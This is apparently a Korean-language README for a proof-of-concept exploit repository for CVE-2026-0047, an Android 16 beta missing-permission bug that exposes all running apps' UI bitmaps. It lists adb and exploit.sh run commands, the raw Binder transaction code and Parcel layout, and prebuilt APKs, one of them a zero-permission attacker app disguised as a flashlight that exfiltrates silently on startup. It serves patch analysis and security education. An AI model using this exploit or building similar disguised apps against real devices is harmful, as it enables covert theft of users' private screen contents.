
CVE-2026-0047: ActivityManagerService.dumpBitmapsProto()의 권한 확인 누락 — 어떤 권한도 없이 실행 중인 모든 앱의 UI 비트맵 탈취 (Android 16 QPR2 Beta)
실행 중인 모든 앱에서 탈취된 비트맵 더미 — 권한 0개, 사용자 상호작용 0회.
ActivityManagerService.dumpBitmapsProto()에서 enforceCallingOrSelfPermission(DUMP) 확인이 누락되어, 설치된 모든 앱이 Android 16 QPR2 Beta(Baklava)에서 실행 중인 모든 프로세스의 UI 비트맵을 유출할 수 있습니다.
참고: 이 취약점은 저희가 발견한 것이 아닙니다. 발견 및 책임 있는 신고에 대한 모든 공로는 원본 연구자들에게 있습니다. 이 저장소에는 보안 커뮤니티가 관련 버그 클래스와 악용 기법을 이해하는 데 도움이 되도록, 저희가 독립적으로 수행한 패치 분석, 재현, 교육용 문서가 포함되어 있습니다.
| CVE | CVE-2026-0047 |
| 심각도 | 심각(Critical) — CVSS 8.4 |
| 구성 요소 | ActivityManagerService.dumpBitmapsProto() |
| 근본 원인 | 누락된 권한 확인 (CWE-280) |
| 영향 | 권한이 전혀 없는 앱이라도 실행 중인 모든 앱의 UI 비트맵을 탈취할 수 있음 |
| 영향을 받는 버전 | Android 16 QPR2 Beta 1–3(Baklava), 패치 수준 < 2026-03-01 |
| 패치됨 | 2026년 3월 Android 보안 게시판 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
Android 16 QPR2 Beta(Baklava) 에뮬레이터가 필요하며, 보안 패치 수준이 2026-03-01 이전이어야 합니다:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
원시 Binder 프로브 — activity 서비스의 트랜잭션 코드 #117은 dumpBitmapsProto()에 매핑됩니다. 인자 없이 전송하면 AMS 내부에서 SecurityException이 아닌 NullPointerException이 발생하며, 이는 메서드 본문이 권한 확인 없이 실행된다는 것을 증명합니다.
원시 Binder 익스플로잇 — IBinder.transact()를 사용해 직접 조작한 Parcel을 AMS로 곧바로 전송합니다. 이는 Android의 숨겨진 API 제한을 완전히 우회하므로 hidden_api_policy 설정이 필요 없습니다. Parcel에는 다음이 포함됩니다:
android.app.IActivityManager)ParcelFileDescriptor(파이프 쓰기 끝)userId = -2(USER_CURRENT)dumpAll = trueSettings, Clock, Files가 열려 있는 Baklava 에뮬레이터(BP41.250725.007, 패치 2025-08-05)에서:
Google은 dumpBitmapsProto()의 첫 줄에 enforceCallingOrSelfPermission(DUMP)를 추가하여, 권한이 없는 호출자는 데이터에 접근하기 전에 SecurityException을 받게 됩니다.
연구 및 PoC: Mobile Hacking Lab. 저희는 교육 목적으로 이 취약점을 독립적으로 재현했습니다.
이 개념 증명(PoC)은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유한 기기와 환경 또는 테스트를 위해 명시적 권한을 받은 기기와 환경에서만 사용하십시오. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
format = "png"비트맵 추출 — AMS는 PNG 비트맵이 포함된 protobuf 데이터를 파이프에 씁니다. PNG 매직 바이트(89 50 4E 47)와 IEND 트레일러를 검색해 개별 이미지를 추출합니다.